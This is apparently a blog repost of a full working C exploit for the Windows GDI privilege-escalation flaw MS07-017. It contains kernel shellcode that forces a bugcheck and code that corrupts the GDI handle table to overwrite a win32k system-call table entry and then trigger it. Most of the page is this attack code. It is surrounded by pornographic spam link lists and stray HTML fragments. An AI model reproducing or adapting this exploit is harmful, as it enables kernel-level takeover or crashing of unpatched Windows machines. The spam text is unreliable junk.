青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

MS Windows GDI Local Privilege Escalation Exploit (MS07-017)

#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <shlwapi.h>
#include <stdio.h>

#pragma comment (lib, "user32.lib")
#pragma comment (lib, "gdi32.lib")
#pragma comment (lib, "shlwapi.lib")
#pragma comment (lib, "ntdll.lib")



/*
Here is a sploit for the GDI MS07-017 Local Privilege Escalation, presented during the last blackhat conferences
by Joel Ericksson. Modify the GdiTable of the current process and by calling good API's changean entry of the
win32k's SSDT by 0x2.

before :
lkd> dps bf998300 L 2
bf998300  bf934921 win32k!NtGdiAbortDoc
bf998304  bf94648d win32k!NtGdiAbortPath

after :
lkd> dps bf998300 L 2
bf998300  00000002
bf998304  bf94648d win32k!NtGdiAbortPath

win32k.sys bDeleteBrush (called by DeleteObject)
mov     esi, [edx] ;esi=pKernelInfo
cmp     [esi+4], ebx ; ebx=0, we need [esi+4]>0
mov     eax, [edx+0Ch]
mov     [ebp+var_8], eax
ja      short loc_BF80C1E7 ;jump if [esi+4] > 0

loc_BF80C1E7:
mov     eax, [esi+24h]  ; [esi+24] = addr to hijack (here win32k SSDT)
mov     dword ptr [eax], 2 ; !!!!!

At 0x2 we allocate memory with NtAllocateVirtualMemory and we copy our payload.

Tested on windows xp sp2 french last updates (before MS07-017)

Coded by Ivanlef0u.
http://ivanlef0u.free.fr

ref:
http://www.Mcft.com/technet/security/bulletin/MS07-017.mspx
http://research.eeye.com/html/alerts/zeroday/20061106.html
http://projects.info-pull.com/mokb/MOKB-06-11-2006.html
https://www.blackhat.com/presentations/bh-eu-07/Eriksson-Janmar/Whitepaper/bh-eu-07-eriksson-WP.pdf
http://www.securityfocus.com/bid/20940/info
*/

typedef struct
{
   DWORD pKernelInfo;
   WORD  ProcessID;
   WORD  _nCount;
   WORD  nUpper;
   WORD  nType;
   DWORD pUserInfo;
} GDITableEntry;

typedef enum _SECTION_INFORMATION_CLASS {
SectionBasicInformation,
SectionImageInformation
}SECTION_INFORMATION_CLASS;

typedef struct _SECTION_BASIC_INFORMATION { // Information Class 0
PVOID BaseAddress;
ULONG Attributes;
LARGE_INTEGER Size;
}SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;

extern "C" ULONG __stdcall NtQuerySection(
   IN HANDLE SectionHandle,
   IN SECTION_INFORMATION_CLASS SectionInformationClass,
   OUT PVOID SectionInformation,
   IN ULONG SectionInformationLength,
   OUT PULONG ResultLength OPTIONAL
);

extern "C" ULONG __stdcall NtAllocateVirtualMemory(
   IN HANDLE ProcessHandle,
   IN OUT PVOID *BaseAddress,
   IN ULONG ZeroBits,
   IN OUT PULONG AllocationSize,
   IN ULONG AllocationType,
   IN ULONG Protect
);

typedef LONG NTSTATUS;

#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

extern "C" NTSTATUS __stdcall  NtQuerySystemInformation(         
   IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
   IN OUT PVOID SystemInformation,
   IN ULONG SystemInformationLength,
   OUT PULONG ReturnLength OPTIONAL
);

extern "C" ULONG __stdcall RtlNtStatusToDosError(
  NTSTATUS Status
);


// generic kernel payload, reboot the b0x
unsigned char Shellcode[]={
0x60, //PUSHAD
0x55, //PUSH EBP

0x6A, 0x34,
0x5B,
0x64, 0x8B, 0x1B,
0x8B, 0x6B, 0x10,

0x8B, 0x45, 0x3C,
0x8B, 0x54, 0x05, 0x78,
0x03, 0xD5,
0x8B, 0x5A, 0x20,
0x03, 0xDD,
0x8B, 0x4A, 0x18,
0x49,
0x8B, 0x34, 0x8B,
0x03, 0xF5,
0x33, 0xFF,
0x33, 0xC0,
0xFC,
0xAC,
0x84, 0xC0,
0x74, 0x07,
0xC1, 0xCF, 0x0D,
0x03, 0xF8,
0xEB, 0xF4,
0x81, 0xFF, 0x1f, 0xaa ,0xf2 ,0xb9, //0xb9f2aa1f, KEBugCheck
0x75, 0xE1,
0x8B, 0x42, 0x24,
0x03, 0xC5,
0x66, 0x8B, 0x0C, 0x48,
0x8B, 0x42, 0x1C,
0x03, 0xC5,
0x8B, 0x04 ,0x88,
0x03, 0xC5,

0x33, 0xDB,
0xB3, 0xE5,
0x53,
0xFF, 0xD0,

0x5D, //POP EBP
0x61, //POPAD
0xC3 //RET
};   


ULONG GetWin32kBase()
{
   ULONG i, Count, Status, BytesRet;
   PSYSTEM_MODULE_INFORMATION pSMI;
   
   Status=NtQuerySystemInformation(SystemModuleInformation, pSMI, 0, &BytesRet); //allocation length
   if(Status!=STATUS_INFO_LENGTH_MISMATCH)
      printf("Error with NtQuerySystemInformation : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
   
   pSMI=(PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BytesRet);
   
   Status=NtQuerySystemInformation(SystemModuleInformation, pSMI, BytesRet, &BytesRet);
   
   if(Status!=STATUS_SUCCESS)
      printf("Error with NtQuerySystemInformation : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
   
   /*
   The data returned to the SystemInformation buffer is a ULONG count of the number of
   handles followed immediately by an array of
   SYSTEM_MODULE_INFORMATION.
   */
   
   Count=*(PULONG)pSMI;
   pSMI=(PSYSTEM_MODULE_INFORMATION)((PUCHAR)pSMI+4);
   
   for(i=0; i<Count; i++)
   {   
      if(StrStr((pSMI+i)->ImageName, "win32k.sys"))
         return (ULONG)(pSMI+i)->Base;
   }
   
   HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pSMI);
   
   return 0;   
}   



   
ULONG buff[500]={0};
   
int main(int argc, char* argv[])
{
   ULONG i, PID, Status, Old;
   LPVOID lpMapAddress=NULL;
   HANDLE hMapFile=(HANDLE)0x10;
   GDITableEntry *gdiTable;
   SECTION_BASIC_INFORMATION SBI;
   WORD Upr;
   ULONG Size=0x1000;
   PVOID Addr=(PVOID)0x2;
   
   printf("Windows GDI MS07-017 Local Privilege Escalation Exploit\nBy Ivanlef0u\n"
   "http://ivanlef0u.free.fr\n"
   "Be MAD!\n");
   
   //allocate memory at addresse 0x2
    Status=NtAllocateVirtualMemory((HANDLE)-1, &Addr, 0, &Size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
    if(Status)
       printf("Error with NtAllocateVirtualMemory : 0x%x\n", Status);
    else
       printf("Addr : 0x%x OKAY\n", Addr);   
   
   memcpy(Addr, Shellcode, sizeof(Shellcode));
   


    printf("win32.sys base : 0x%x\n", GetWin32kBase());
   
   ULONG Win32kSST=GetWin32kBase()+0x198300; //range between win32k imagebase and it's SSDT
   printf("SSDT entry : 0x%x\n", Win32kSST); //win32k!NtGdiAbortDoc
   
   
   
   HBRUSH hBr;
   hBr=CreateSolidBrush(0);

   Upr=(WORD)((DWORD)hBr>>16);
   printf("0x%x\n", Upr);

   while(!lpMapAddress)
   {
      hMapFile=(HANDLE)((ULONG)hMapFile+1);
      lpMapAddress=MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);
   }

   if(lpMapAddress==NULL)
   {
      printf("Error with MapViewOfFile : %d\n", GetLastError());
      return 0;
   }

   Status=NtQuerySection(hMapFile, SectionBasicInformation, &SBI, sizeof(SECTION_BASIC_INFORMATION), 0);
   if (Status) //!=STATUS_SUCCESS (0)
   {
      printf("Error with NtQuerySection (SectionBasicInformation) : 0x%x\n", Status);
      return 0;
   }

   printf("Handle value : %x\nMapped address : 0x%x\nSection size : 0x%x\n\n", hMapFile, lpMapAddress, SBI.Size.QuadPart);
   gdiTable=(GDITableEntry *)lpMapAddress;
   PID=GetCurrentProcessId();
   
   for (i=0; i<SBI.Size.QuadPart; i+=sizeof(GDITableEntry))
   {
      if(gdiTable->ProcessID==PID && gdiTable->nUpper==Upr) //only our GdiTable and brush
      {   

         printf("gdiTable : 0x%x\n", gdiTable);
         printf("pKernelInfo : 0x%x\n", gdiTable->pKernelInfo);
         printf("ProcessID : %d\n", gdiTable->ProcessID);
         printf("_nCount : %d\n", gdiTable->_nCount);
         printf("nUpper : 0x%x\n", gdiTable->nUpper);
         printf("nType : 0x%x\n", gdiTable->nType );
         printf("pUserInfo : 0x%x\n\n", gdiTable->pUserInfo);
         
         Old=gdiTable->pKernelInfo;
      
         gdiTable->pKernelInfo=(ULONG)buff; //crafted buff
         break;
      }
      gdiTable++;
   }

   if(!DeleteObject(hBr))
      printf("Error with DeleteObject : %d\n", GetLastError());
   else
      printf("Done\n");

   printf("Buff : 0x%x\n", buff);
   memset(buff, 0x90, sizeof(buff));
   
    buff[0]=0x1; //!=0
    buff[0x24/4]=Win32kSST; //syscall to modifY
   buff[0x4C/4]=0x804D7000; //kernel base, just for avoiding bad mem ptr

    if(!DeleteObject(hBr))
      printf("Error with DeleteObject : %d\n", GetLastError());   
      
   gdiTable->pKernelInfo=Old; //restore old value
   
   /*   
   lkd> uf GDI32!NtGdiAbortDoc
   GDI32!NtGdiAbortDoc:
   77f3073a b800100000      mov     eax,1000h
   77f3073f ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
   77f30744 ff12            call    dword ptr [edx]
   77f30746 c20400          ret     4
   */

   __asm
   {
      mov eax, 0x1000
      mov edx,0x7ffe0300
      call dword ptr [edx]   
   }
   
   return 0;
}

download

posted on 2007-05-08 16:49 葉子 閱讀(792) 評論(0)  編輯 收藏 引用 所屬分類: 網絡安全

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美一级在线亚洲天堂| 欧美性猛交xxxx乱大交退制版 | 欧美一区二区黄| 免费av成人在线| 欲色影视综合吧| 久久激情一区| 久久久五月天| 99在线精品视频| 亚洲免费成人av| 欧美手机在线视频| 欧美一区二区三区久久精品茉莉花 | 狠狠久久亚洲欧美专区| 尤物yw午夜国产精品视频明星| 久久精品二区三区| 久久成年人视频| 99精品欧美| 欧美在线首页| 日韩午夜在线视频| 午夜视频一区| 亚洲免费观看视频| 亚洲视频导航| 亚洲国产精品热久久| 亚洲狼人综合| 亚洲欧美日韩精品一区二区| 亚洲品质自拍| 欧美久久99| 久久精品国产免费看久久精品| 国产精品日产欧美久久久久| 午夜精品久久久久久99热软件| 久久精品国产99国产精品澳门| 亚洲欧美在线播放| 欧美日韩在线视频首页| 午夜精品一区二区三区四区| 蜜臀av性久久久久蜜臀aⅴ| 亚洲女ⅴideoshd黑人| 新片速递亚洲合集欧美合集| 亚洲精品久久久久久下一站| 午夜精品久久99蜜桃的功能介绍| 一区二区三区在线视频免费观看 | 亚洲蜜桃精久久久久久久| 亚洲一区欧美一区| 一本色道久久综合亚洲91| 老司机精品福利视频| 久久久久五月天| 国产亚洲成精品久久| 亚洲一区二区三区中文字幕在线 | 欧美日韩另类国产亚洲欧美一级| 久久久久欧美| 欧美成人在线免费观看| 亚洲综合精品一区二区| 午夜精品一区二区三区电影天堂| 欧美日韩日韩| 亚洲一区国产视频| 久久久蜜臀国产一区二区| 黄色工厂这里只有精品| 久久综合亚州| 99综合电影在线视频| 免费在线亚洲欧美| 亚洲国产精品久久久| 亚洲每日在线| 国产亚洲一区二区三区| 农村妇女精品| 一区二区三区你懂的| 欧美xart系列高清| 亚洲一级片在线看| 揄拍成人国产精品视频| 国产精品一页| 欧美精品激情在线观看| 久久精品夜色噜噜亚洲a∨| 伊人久久大香线蕉av超碰演员| 亚洲高清不卡一区| 欧美精品国产| 美国十次了思思久久精品导航| 麻豆精品视频在线观看| 亚洲欧美在线aaa| 亚洲人精品午夜| 欧美日韩精品在线| 久久精品国产亚洲一区二区三区| 99re6热在线精品视频播放速度| 亚洲精品美女91| 欧美在线观看www| 一区二区国产精品| 99成人在线| 99国产精品久久久久久久成人热| 欧美xx视频| 欧美激情按摩| 欧美激情精品久久久久久免费印度| 欧美一区二区性| 欧美一区二区高清| 久久国产精品高清| 久久蜜臀精品av| 久久精品视频免费观看| 免费成人黄色| 欧美成人综合网站| 欧美日韩第一区日日骚| 午夜日韩激情| 欧美影视一区| 免费观看欧美在线视频的网站| 麻豆精品视频在线| 亚洲国产综合在线| 夜夜躁日日躁狠狠久久88av| av成人毛片| 一区二区日韩欧美| 国产精品激情电影| 国产伦精品一区二区三区免费迷 | 韩国三级电影久久久久久| 一区视频在线| 亚洲一区二区三区精品在线观看 | 国产精品嫩草影院av蜜臀| 一区二区免费在线播放| 亚洲日本中文| 在线亚洲欧美专区二区| 久久美女性网| 香港久久久电影| 欧美激情自拍| 国产啪精品视频| 亚洲欧美激情在线视频| 亚洲国产精品高清久久久| 9l国产精品久久久久麻豆| 久久国产精品亚洲77777| 欧美日韩麻豆| 一区二区高清在线观看| 欧美成人精品三级在线观看| 欧美国产国产综合| 狠狠色狠狠色综合日日五| 亚洲图片在区色| 亚洲黄色天堂| 国产精品久久久久久久久久久久久久| 99精品热6080yy久久| 亚洲国产精品成人一区二区| 久久精品国产免费| 一区二区在线免费观看| 老司机成人网| 欧美成人精品h版在线观看| 91久久国产自产拍夜夜嗨| 亚洲电影在线免费观看| 老司机一区二区三区| 日韩一级精品视频在线观看| 亚洲国产精品视频| 欧美午夜无遮挡| 欧美一区三区二区在线观看| 久久精品国产精品 | 亚洲最新色图| 一区二区三区国产精品| 国产精品午夜在线观看| 久久久久久久久久看片| 免费在线播放第一区高清av| 亚洲欧美卡通另类91av| 久久久综合网站| 亚洲字幕一区二区| 欧美成人免费小视频| 欧美在线日韩| 国产精品成人v| 欧美激情精品| 在线成人免费视频| 亚洲欧美日韩综合一区| 99国内精品久久| 久久米奇亚洲| 久久国产欧美精品| 欧美三区免费完整视频在线观看| 蜜桃av一区二区| 国产一区二区三区精品久久久| 亚洲毛片在线看| 亚洲精选91| 欧美精品粉嫩高潮一区二区 | 久久色在线播放| 亚洲精品欧美| 亚洲精品久久久久久一区二区 | 久久亚洲美女| 国产亚洲在线| 久久精彩免费视频| 久久手机免费观看| 亚洲电影自拍| 欧美成人综合在线| 亚洲欧洲在线免费| 一本色道久久99精品综合| 欧美日韩精品在线| 亚洲私人影院在线观看| 欧美一区二区免费| 尤物在线精品| 欧美日韩中文字幕精品| 午夜精品久久久久久| 麻豆av一区二区三区| 亚洲激情电影在线| 欧美视频在线观看免费网址| 午夜精品视频在线观看| 欧美成人一品| 亚洲欧美一级二级三级| 国产精品网站在线播放| 久久一区中文字幕| 国产精品99久久久久久宅男| 久久婷婷综合激情| 一区二区三区欧美在线观看| 国产午夜精品视频免费不卡69堂| 另类综合日韩欧美亚洲| 国产精品99久久久久久久女警 | 久久中文字幕导航| 亚洲裸体俱乐部裸体舞表演av| 亚洲欧美一区二区原创| 亚洲国产成人午夜在线一区|